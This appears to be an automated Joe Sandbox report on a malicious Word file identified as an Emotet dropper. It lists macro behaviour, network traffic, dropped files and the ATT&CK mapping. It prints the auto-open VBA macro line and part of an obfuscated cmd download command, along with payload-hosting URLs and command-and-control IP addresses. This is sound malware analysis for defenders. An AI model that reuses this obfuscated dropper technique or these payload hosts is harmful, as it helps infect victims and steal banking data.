Analysis Report FILE-7433.doc

Overview

General Information

Joe Sandbox Version:	25.0.0 Tiger's Eye
Analysis ID:	759823
Start date:	14.01.2019
Start time:	15:03:41
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	FILE-7433.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 (Office 2010 SP2, Java 1.8.0_40 1.8.0_191, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled HDC enabled GSI enabled (VBA)
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.bank.troj.expl.evad.winDOC@20/15@1/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 49.4% (good quality ratio 40.4%) Quality average: 64% Quality standard deviation: 36.8%
HCA Information:	Successful, ratio: 94% Number of executed functions: 100 Number of non-executed functions: 120
Cookbook Comments:	Adjust boot time Found application associated with file extension: .doc Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found. Skipping Hybrid Code Analysis (implementation is based on Java, .Net, VB or Delphi, or parses a document) for: powershell.exe

Detection

Strategy	Score	Range	Reporting	Whitelisted	Detection
Threshold	100	0 - 100	Report FP / FN	false

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

All HTTP servers contacted by the sample do not resolve. Likely the sample is an old dropper which does no longer work

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control
Valid Accounts1	Command-Line Interface11	Valid Accounts1	Valid Accounts1	Valid Accounts1	Credential Dumping	Process Discovery2	Application Deployment Software	Data from Local System	Data Encrypted1	Uncommonly Used Port2
Replication Through Removable Media	Service Execution1	Modify Existing Service1	Process Injection1	Disabling Security Tools1	Network Sniffing	Security Software Discovery13	Remote Services	Data from Removable Media	Exfiltration Over Other Network Medium	Standard Cryptographic Protocol2
Drive-by Compromise	PowerShell3	New Service2	New Service2	Process Injection1	Input Capture	Remote System Discovery1	Windows Remote Management	Data from Network Shared Drive	Automated Exfiltration	Standard Non-Application Layer Protocol3
Exploit Public-Facing Application	Scripting32	System Firmware	DLL Search Order Hijacking	Scripting32	Credentials in Files	System Service Discovery1	Logon Scripts	Input Capture	Data Encrypted	Standard Application Layer Protocol13
Spearphishing Link	Exploitation for Client Execution13	Shortcut Modification	File System Permissions Weakness	Obfuscated Files or Information1	Account Manipulation	File and Directory Discovery1	Shared Webroot	Data Staged	Scheduled Transfer	Standard Cryptographic Protocol
Spearphishing Attachment	Graphical User Interface	Modify Existing Service	New Service	DLL Search Order Hijacking	Brute Force	System Information Discovery32	Third-party Software	Screen Capture	Data Transfer Size Limits	Commonly Used Port

Signature Overview

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://201.130.151.95:50000/7	Avira URL Cloud: Label: malware
Source: http://70.55.70.147:7080/	Avira URL Cloud: Label: malware
Source: http://201.130.151.95:50000/	Avira URL Cloud: Label: malware
Source: http://201.130.151.95:50000/;	Avira URL Cloud: Label: malware

Cryptography:

Uses Microsoft's Enhanced Cryptographic Provider

Show sources

Source: C:\Users\Public\363.exe	Code function: 11_2_00502466 CryptEncrypt,CryptDestroyHash,	11_2_00502466
Source: C:\Users\Public\363.exe	Code function: 11_2_00502406 CryptDuplicateHash,	11_2_00502406
Source: C:\Users\Public\363.exe	Code function: 11_2_005024F6 CryptDuplicateHash,CryptDecrypt,CryptDestroyHash,	11_2_005024F6
Source: C:\Users\Public\363.exe	Code function: 11_2_00502496 CryptDestroyHash,	11_2_00502496
Source: C:\Users\Public\363.exe	Code function: 11_2_00502595 CryptVerifySignatureW,CryptDestroyHash,	11_2_00502595
Source: C:\Users\Public\363.exe	Code function: 11_2_00502279 CryptExportKey,	11_2_00502279
Source: C:\Users\Public\363.exe	Code function: 11_2_005022C9 CryptGetHashParam,	11_2_005022C9
Source: C:\Users\Public\363.exe	Code function: 11_2_005022F7 CryptAcquireContextW,	11_2_005022F7
Source: C:\Users\Public\363.exe	Code function: 11_2_0050231D CryptReleaseContext,	11_2_0050231D
Source: C:\Users\Public\363.exe	Code function: 11_2_00502335 CryptImportKey,LocalFree,CryptReleaseContext,	11_2_00502335
Source: C:\Users\Public\363.exe	Code function: 11_2_00502399 CryptGenKey,CryptDestroyKey,CryptReleaseContext,	11_2_00502399
Source: C:\Users\Public\363.exe	Code function: 11_2_005023B7 CryptCreateHash,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	11_2_005023B7
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A22F5 CryptAcquireContextW,	13_2_002A22F5
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2314 CryptDecodeObjectEx,CryptReleaseContext,	13_2_002A2314
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2406 CryptDuplicateHash,	13_2_002A2406
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2466 CryptEncrypt,CryptDestroyHash,	13_2_002A2466
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2496 CryptDestroyHash,	13_2_002A2496
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A24F6 CryptDuplicateHash,CryptDecrypt,CryptDestroyHash,	13_2_002A24F6
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2595 CryptVerifySignatureW,CryptDestroyHash,	13_2_002A2595
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2279 CryptExportKey,	13_2_002A2279
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A22C9 CryptGetHashParam,	13_2_002A22C9
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2335 CryptImportKey,LocalFree,CryptReleaseContext,	13_2_002A2335
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A23B7 CryptCreateHash,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,	13_2_002A23B7
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2399 CryptGenKey,CryptDestroyKey,CryptReleaseContext,	13_2_002A2399

Spreading:

Enumerates the file system

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Windows\System32\cmd.exe

Jump to behavior

Potential document exploit detected (performs DNS queries)

Show sources

Source: global traffic

DNS query: name: beitshalomcare.com

Potential document exploit detected (performs HTTP gets)

Show sources

Source: global traffic

TCP traffic: 192.168.1.81:49215 -> 108.167.182.150:80

Potential document exploit detected (unknown TCP traffic)

Show sources

Source: global traffic

TCP traffic: 192.168.1.81:49215 -> 108.167.182.150:80

Networking:

Detected TCP or UDP traffic on non-standard ports

Show sources

Source: global traffic	TCP traffic: 192.168.1.81:49216 -> 70.55.70.147:7080
Source: global traffic	TCP traffic: 192.168.1.81:49217 -> 201.130.151.95:50000

Uses known network protocols on non-standard ports

Show sources

Source: unknown

Network traffic detected: HTTP traffic on port 49216 -> 7080

Connects to IPs without corresponding DNS lookups

Show sources

Source: unknown	TCP traffic detected without corresponding DNS query: 70.55.70.147
Source: unknown	TCP traffic detected without corresponding DNS query: 70.55.70.147
Source: unknown	TCP traffic detected without corresponding DNS query: 70.55.70.147
Source: unknown	TCP traffic detected without corresponding DNS query: 70.55.70.147
Source: unknown	TCP traffic detected without corresponding DNS query: 70.55.70.147
Source: unknown	TCP traffic detected without corresponding DNS query: 201.130.151.95
Source: unknown	TCP traffic detected without corresponding DNS query: 201.130.151.95

HTTP GET or POST without a user agent

Show sources

Source: global traffic	HTTP traffic detected: GET /UCXoKly_3UeiaQjy_Ik HTTP/1.1Host: beitshalomcare.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /UCXoKly_3UeiaQjy_Ik/ HTTP/1.1Host: beitshalomcare.com

Internet Provider seen in connection with other malware

Show sources

Source: Joe Sandbox View	ASN Name: BACOM-BellCanadaCA BACOM-BellCanadaCA
Source: Joe Sandbox View	ASN Name: CYRUSONE-CyrusOneLLCUS CYRUSONE-CyrusOneLLCUS
Source: Joe Sandbox View	ASN Name: UninetSAdeCVMX UninetSAdeCVMX

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Show sources

Source: global traffic

TCP traffic: 192.168.1.81:49215 -> 108.167.182.150:80

Uses a known web browser user agent for HTTP communication

Show sources

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Cookie: 44122=ZGYbGH5EFss70asdCiuE3XbcgXzdmZrmgVKkYGqALjkfiMYUb2+53dSXkgpCv78ZRKwqtP8zbc/vDceEvfCyR7rCx+UJVwGieefb0KYNOMMWdU7Kds67qXFbtL5G1zPBlv5YO/dbhgsiKpY8Hy7g+Uldje14jo2tmSNg2oZENXXNyjTWyV1/TkcBbxCB73c2YxY0Hjmdo03f3wfP8sWBWoKlCojcNzLqmvEFvAQPlUi7lB+O/UA109VG3EIYffeX1pEpo3AQxHqLSvl9ztV1Jph+NrKfaWJhSbBgsMEhcUaBhnpvNEX1UTlxjF9hcxTiUERGBGH0wkHKQhG0styqZgZociTbzx6GergDtvxew8BNSDT3SUXVK21TqYbAeSbrJV1A1nCJ3WvdYW0234QuXW+0XvZ6wCCKXkKzMHqiCzTIKBSsrTZPED74IlQ9J69WUL3rhjbV5BOx0zL4kiTl+1xdcrg=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 70.55.70.147:7080Connection: Keep-AliveCache-Control: no-cache

Contains functionality to download additional files from the internet

Show sources

Source: C:\Windows\System32\emitwpc.exe

Code function: 13_2_002A1628 InternetReadFile,

13_2_002A1628

Downloads files

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word

Jump to behavior

Downloads files from webservers via HTTP

Show sources

Source: global traffic	HTTP traffic detected: GET /UCXoKly_3UeiaQjy_Ik HTTP/1.1Host: beitshalomcare.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /UCXoKly_3UeiaQjy_Ik/ HTTP/1.1Host: beitshalomcare.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Cookie: 44122=ZGYbGH5EFss70asdCiuE3XbcgXzdmZrmgVKkYGqALjkfiMYUb2+53dSXkgpCv78ZRKwqtP8zbc/vDceEvfCyR7rCx+UJVwGieefb0KYNOMMWdU7Kds67qXFbtL5G1zPBlv5YO/dbhgsiKpY8Hy7g+Uldje14jo2tmSNg2oZENXXNyjTWyV1/TkcBbxCB73c2YxY0Hjmdo03f3wfP8sWBWoKlCojcNzLqmvEFvAQPlUi7lB+O/UA109VG3EIYffeX1pEpo3AQxHqLSvl9ztV1Jph+NrKfaWJhSbBgsMEhcUaBhnpvNEX1UTlxjF9hcxTiUERGBGH0wkHKQhG0styqZgZociTbzx6GergDtvxew8BNSDT3SUXVK21TqYbAeSbrJV1A1nCJ3WvdYW0234QuXW+0XvZ6wCCKXkKzMHqiCzTIKBSsrTZPED74IlQ9J69WUL3rhjbV5BOx0zL4kiTl+1xdcrg=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 70.55.70.147:7080Connection: Keep-AliveCache-Control: no-cache

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: beitshalomcare.com

Posts data to webserver

Show sources

Source: unknown

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.1Date: Mon, 14 Jan 2019 14:04:57 GMTContent-Type: application/octet-streamTransfer-Encoding: chunkedConnection: keep-aliveExpires: Tue, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0Pragma: no-cacheContent-Disposition: attachment; filename="6_SIhen_r6EZd0h7m.exe"Content-Transfer-Encoding: binaryLast-Modified: Mon, 14 Jan 2019 14:04:57 GMTData Raw: 61 39 34 35 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 df 87 3c 5c 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0c 01 00 40 00 00 00 e0 01 00 00 00 00 00 80 3f 00 00 00 10 00 00 00 50

Urls found in memory or binary data

Show sources

Source: emitwpc.exe, 0000000D.00000002.1561089966.00329000.00000004.sdmp	String found in binary or memory: http://201.130.151.95:50000/
Source: emitwpc.exe, 0000000D.00000002.1561089966.00329000.00000004.sdmp	String found in binary or memory: http://201.130.151.95:50000/7
Source: emitwpc.exe, 0000000D.00000002.1561089966.00329000.00000004.sdmp	String found in binary or memory: http://201.130.151.95:50000/;
Source: powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	String found in binary or memory: http://beitshalomcare.com
Source: powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	String found in binary or memory: http://beitshalomcare.com/UCXoKlH
Source: 363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	String found in binary or memory: http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik
Source: powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	String found in binary or memory: http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/
Source: powershell.exe, 00000009.00000002.1416709144.01FFC000.00000004.sdmp	String found in binary or memory: http://beitshalomcare.com/UCXoKly_3UeiaQjy_Ik/H
Source: powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	String found in binary or memory: http://beitshalomcare.com/UCXoKly_3UeiaQjy_IkH
Source: powershell.exe, 00000009.00000002.1416709144.01FFC000.00000004.sdmp	String found in binary or memory: http://beitshalomcare.comPJP
Source: 363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	String found in binary or memory: http://mydogmybuddy.com/ULyczwB_jTGov
Source: powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	String found in binary or memory: http://mydogmybuddy.com/ULyczwB_jTGovH
Source: 363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	String found in binary or memory: http://rinolfrecruitment.com/3ee8t_II0t
Source: powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	String found in binary or memory: http://rinolfrecruitment.com/3ee8t_II0tH
Source: powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	String found in binary or memory: http://rinolfrecruitment.com/3ee8t_II0tt
Source: 363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	String found in binary or memory: http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxN
Source: powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	String found in binary or memory: http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxNH
Source: powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	String found in binary or memory: http://tabaslotbpress.com/P7E5p_6YkjtH_BP4TMxNt
Source: powershell.exe, 00000009.00000002.1416312511.01CB0000.00000004.sdmp	String found in binary or memory: http://topablaze.cH
Source: 363.exe, 0000000A.00000002.1414642152.00380000.00000004.sdmp, 363.exe, 0000000B.00000002.1433874695.00020000.00000004.sdmp	String found in binary or memory: http://topablaze.com/YOh_SNr
Source: 363.exe, 0000000B.00000002.1433909559.00074000.00000004.sdmp	String found in binary or memory: http://topablaze.com/YOh_SNrprk
Source: powershell.exe, 00000009.00000002.1416065275.01AA0000.00000004.sdmp	String found in binary or memory: http://topablaze.com/YOh_SNrprkH

E-Banking Fraud:

Detected Emotet e-Banking trojan

Show sources

Source: C:\Users\Public\363.exe	Code function: 11_2_0050CA89		11_2_0050CA89
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002ACA89		13_2_002ACA89

Spam, unwanted Advertisements and Ransom Demands:

Contains functionality to import cryptographic keys (often used in ransomware)

Show sources

Source: C:\Users\Public\363.exe	Code function: 11_2_00502335 CryptImportKey,LocalFree,CryptReleaseContext,		11_2_00502335
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A2335 CryptImportKey,LocalFree,CryptReleaseContext,		13_2_002A2335

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable Editing and then click Enable Content. O Page: I of I I Words:O I Eng\|ish"(U.S.) @W13
Source: Screenshot number: 4	Screenshot OCR: Enable Content. O Page: I of I I Words:O I Eng\|ish"(U.S.) @W13,2 100%e) A (I) a iq " aa
Source: Screenshot number: 5	Screenshot OCR: Enable Editing and then click Enable Content O Page: I of I I Words:O I t3 English (US.) @W1
Source: Screenshot number: 5	Screenshot OCR: Enable Content O Page: I of I I Words:O I t3 English (US.) @W13 75% G) A (I) m"" a iq 0 aa
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing and then click Enable Content.
Source: Document image extraction number: 0	Screenshot OCR: Enable Content.
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing and then click Enable Content.
Source: Document image extraction number: 1	Screenshot OCR: Enable Content.
Source: Screenshot number: 6	Screenshot OCR: Enable Editing and then click Enable Content. English (US.) I a DJ
Source: Screenshot number: 6	Screenshot OCR: Enable Content. English (US.) I a DJ
Source: Screenshot number: 7	Screenshot OCR: Enable Editing and then click Enable Content I English (US.) I a DJ
Source: Screenshot number: 7	Screenshot OCR: Enable Content I English (US.) I a DJ

Document contains an embedded VBA macro which may execute processes

Show sources

Source: FILE-7433.doc	OLE, VBA macro line: Mw48w = Array(Naq6, Jo0l, Bf8u8, CreateObject("wscript.shell").Run(("" + Eqtriik + Xmt48b + Cirfct + Vcuj2h + Owl5.TextBox1) + T1p6m7h9t + Wh8jih2w, 67 - 67), T2v7l, Njou, G4vm)
Source: VBA code instrumentation	OLE, VBA macro: Module X4nu, Function Swon, API IWshShell3.Run("cmd /c %pROgrAMDAtA:~0,1%%PRograMdATa:~9,2% /V:/r " SEt 0DjH=mu\YbeSc{qXrARzt1+=GvlC6J,h)8B;aOV}Q.2703oUL5/49'%(dKi~fx:pjET$H_Dy@w-IsNFWng PkM& fOr %J In ( 58 , 41, 68 , 49, 78 ,42 ,29 , 43, 70,22 , 57 ,54 , 44 , 25 , 16, 49, 11 , 49 ,6 , 60 , 6 ,6 , 70, 32,72 , 72 ,12 ,80 , 60 , 57 , 54 , 69 , 46 ,25, 16 ,49 , 26 , 49, 61 , 60 , 80 , 78, 57 ,54 , 69,40 , 25 , 16 , 49, 21, 21, 77 , 62 ,3 , 37,4 , 53, 18 ,48 , 10 , 26 , 59, 47 , 48 , 30 ,62 ,3,68, 0 ,14 , 18 ,75, 5, 68 , 69 ,41 ,4 , 59 ,5 , 7 , 15 , 77 , 72 , 5, 15, 36 , 74 , 5 , 4 , 22 , 21 , 53 , 5 , 75, 15 , 30 , 62 , 24 , 21 , 38, 4 , 18, 48 , 26 , 15 , 15 , 58 , 57 , 45, 45,4 ,5 , 53 , 15 , 71 , 26 , 31 , 21 , 41 , 0,			Name: Swon

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: FILE-7433.doc	OLE, VBA macro line: Mw48w = Array(Naq6, Jo0l, Bf8u8, CreateObject("wscript.shell").Run(("" + Eqtriik + Xmt48b + Cirfct + Vcuj2h + Owl5.TextBox1) + T1p6m7h9t + Wh8jih2w, 67 - 67), T2v7l, Njou, G4vm)
Source: VBA code instrumentation	OLE, VBA macro: Module X4nu, Function Swon, String wscript: Mw48w = Array(Naq6, Jo0l, Bf8u8, CreateObject("wscript.shell").Run(("" + Eqtriik + Xmt48b + Cirfct + Vcuj2h + Owl5.TextBox1) + T1p6m7h9t + Wh8jih2w, 67 - 67), T2v7l, Njou, G4vm)			Name: Swon

PE file has a writeable .text section

Show sources

Source: 363.exe.9.dr

Static PE information: Section: .text IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Powershell connects to network

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Network Connect: 108.167.182.150 80

Powershell drops PE file

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\363.exe

Jump to dropped file

Very long command line found

Show sources

Source: unknown	Process created: Commandline size = 4147
Source: unknown	Process created: Commandline size = 4082
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: Commandline size = 4147	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 4082	Jump to behavior

Contains functionality to delete services

Show sources

Source: C:\Users\Public\363.exe

Code function: 11_2_0050DC10 _snwprintf,OpenServiceW,DeleteService,CloseServiceHandle,

11_2_0050DC10

Contains functionality to launch a process as a different user

Show sources

Source: C:\Users\Public\363.exe

Code function: 11_2_0050210D CreateProcessAsUserW,

11_2_0050210D

Creates mutexes

Show sources

Source: C:\Windows\System32\emitwpc.exe	Mutant created: \BaseNamedObjects\Global\I3C4E0000
Source: C:\Users\Public\363.exe	Mutant created: \Sessions\2\BaseNamedObjects\PEMFA4
Source: C:\Windows\System32\emitwpc.exe	Mutant created: \BaseNamedObjects\PEMB70
Source: C:\Users\Public\363.exe	Mutant created: \Sessions\2\BaseNamedObjects\PEME30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: \Sessions\2\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\System32\emitwpc.exe	Mutant created: \BaseNamedObjects\PEM198
Source: C:\Users\Public\363.exe	Mutant created: \Sessions\2\BaseNamedObjects\Global\M3C4E0000
Source: C:\Users\Public\363.exe	Mutant created: \Sessions\2\BaseNamedObjects\Global\I3C4E0000

Detected potential crypto function

Show sources

Source: C:\Users\Public\363.exe	Code function: 10_2_003156EF	10_2_003156EF
Source: C:\Users\Public\363.exe	Code function: 10_2_003156EF	10_2_003156EF
Source: C:\Users\Public\363.exe	Code function: 11_2_005056EF	11_2_005056EF
Source: C:\Users\Public\363.exe	Code function: 11_2_005056EF	11_2_005056EF
Source: C:\Windows\System32\emitwpc.exe	Code function: 12_2_003856EF	12_2_003856EF
Source: C:\Windows\System32\emitwpc.exe	Code function: 12_2_003856EF	12_2_003856EF
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A56EF	13_2_002A56EF
Source: C:\Windows\System32\emitwpc.exe	Code function: 13_2_002A56EF	13_2_002A56EF

Document contains an ObjectPool stream indicating possible embedded files or OLE objects

Show sources

Source: FILE-7433.doc

OLE indicator, ObjectPool: true

Document contains an embedded VBA macro which executes code when the document is opened / closed

Show sources

Source: FILE-7433.doc	OLE, VBA macro line: Sub autoopen()
Source: VBA code instrumentation	OLE, VBA macro: Module Owl5, Function autoopen			Name: autoopen

Document contains embedded VBA macros

Show sources

Source: FILE-7433.doc

OLE indicator, VBA macros: true

Reads the hosts file

Show sources

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\emitwpc.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\emitwpc.exe	File read: C:\Windows\System32\drivers\etc\hosts

Classification label

Show sources

Source: classification engine

Classification label: mal100.bank.troj.expl.evad.winDOC@20/15@1/3

Contains functionality to create services

Show sources

Source: C:\Users\Public\363.exe	Code function: _snwprintf,CreateServiceW,CloseServiceHandle,		11_2_0050DCBB
Source: C:\Windows\System32\emitwpc.exe	Code function: _snwprintf,CreateServiceW,CloseServiceHandle,		13_2_002ADCB9

Contains functionality to enum processes or threads

Show sources

Source: C:\Users\Public\363.exe

Code function: 10_2_00311C10 CreateToolhelp32Snapshot,

10_2_00311C10

Contains functionality to modify services (start/stop/modify)

Show sources

Source: C:\Users\Public\363.exe

Code function: 11_2_0050DD51 StartServiceW,CloseServiceHandle,CloseServiceHandle,

11_2_0050DD51

Creates files inside the user directory

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$LE-7433.doc

Jump to behavior

Creates temporary files

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user~1\AppData\Local\Temp\CVRBC82.tmp

Jump to behavior

Document contains an OLE Word Document stream indicating a Microsoft Word file

Show sources

Source: FILE-7433.doc

OLE indicator, Word Document stream: true

Document contains summary information with irregular field values

Show sources

Source: FILE-7433.doc	OLE document summary: title field not present or empty
Source: FILE-7433.doc	OLE document summary: author field not present or empty
Source: FILE-7433.doc	OLE document summary: edited time not present or 0

Found command line output

Show sources

Source: C:\Windows\System32\cmd.exe	Console Write: ................................D.......i...........................<.P...P..xP...P...P........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..R...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D.......u...........................\.R..@..X.R...S..........."v..R.`.1.....m.3...\.c.m.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .5.8.,. . . .1.!. ..@..X.R...S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................5.8. .G.E.Q. .8.4. .............................D..........................g..1.4.1.....`IRJ....,.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................e.C.H.O.....D...................................4. ...............................1.................	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . .!.o.N.4.:.~. .5.!. . . . . .........................4. ................g..1...1. ....ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .\|. .......D.....................................1...O. .....O.........3..g..1.(.1......FRJ.... .1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................c.M.d...e.X.E.........................................................1...O. .....1............g..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... . . .......D..............................................................g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................@FSJ.ERJ......1.*YPJ@FSJ...g8.1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ................................D...................................PY.w........".P. .P........g..1...1......ERJ......1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.>.........d.1....w@.SJ..S...............1...1.(.....1...1v..1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................S.e.T.......D...................................\.R..@..X.R.H.S..........."v..R.`.1.......1...PJ....	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .o.N.4.=.!.o.N.4.!.!.0.D.j.H.:.~. . . . .4.1.,. . . .1.!. ..@..X.R.H.S....g..1.X.1.<....ERJ....P.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: .................... .&. .......D.....................................1...O.<.....O............g..1.t.1......FRJ....l.1.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ....................I.F. .......D..............................................................g..1.X.1......ERJ....P.1.	Jump to behavior
